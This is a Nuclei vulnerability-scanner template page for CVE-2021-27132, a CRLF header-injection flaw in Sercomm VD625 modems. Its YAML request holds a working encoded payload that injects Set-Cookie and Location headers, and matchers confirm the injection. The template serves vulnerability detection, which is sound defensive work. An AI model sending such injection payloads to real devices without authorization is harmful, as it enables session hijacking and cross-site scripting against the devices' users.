Sercomm VD625 Smart Modems - CRLF Injection

ID: CVE-2021-27132

Severity: critical

Author: geeknik

Tags: cve2021,cve,crlf,injection,sercomm,xss

Description

Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.

YAML Source

id: CVE-2021-27132

info:
  name: Sercomm VD625 Smart Modems - CRLF Injection
  author: geeknik
  severity: critical
  description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.
  impact: |
    Successful exploitation of this vulnerability could lead to various attacks, including session hijacking, cross-site scripting (XSS), and cache poisoning.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
    - http://sercomm.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27132
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27132
    cwe-id: CWE-74
    epss-score: 0.04569
    epss-percentile: 0.92334
    cpe: cpe:2.3:o:sercomm:agcombo_vd625_firmware:agsot_2.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sercomm
    product: agcombo_vd625_firmware
  tags: cve2021,cve,crlf,injection,sercomm,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Disposition: attachment;filename=test.txt"
          - "Set-Cookie:CRLFInjection=Test"
          - "Location: interact.sh"
          - "X-XSS-Protection:0"
        condition: and

      - type: status
        part: header
        status:
          - 404
# digest: 490a0046304402202923f326aec8ce4c566f976a8322d9fb47cd7056df4a11e7e690aa4b061ce8700220677830b73bf348bd0b22356f14a54953e544ca581bf823e0585a4ee67ba2e3d3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27132.yaml"

View on Github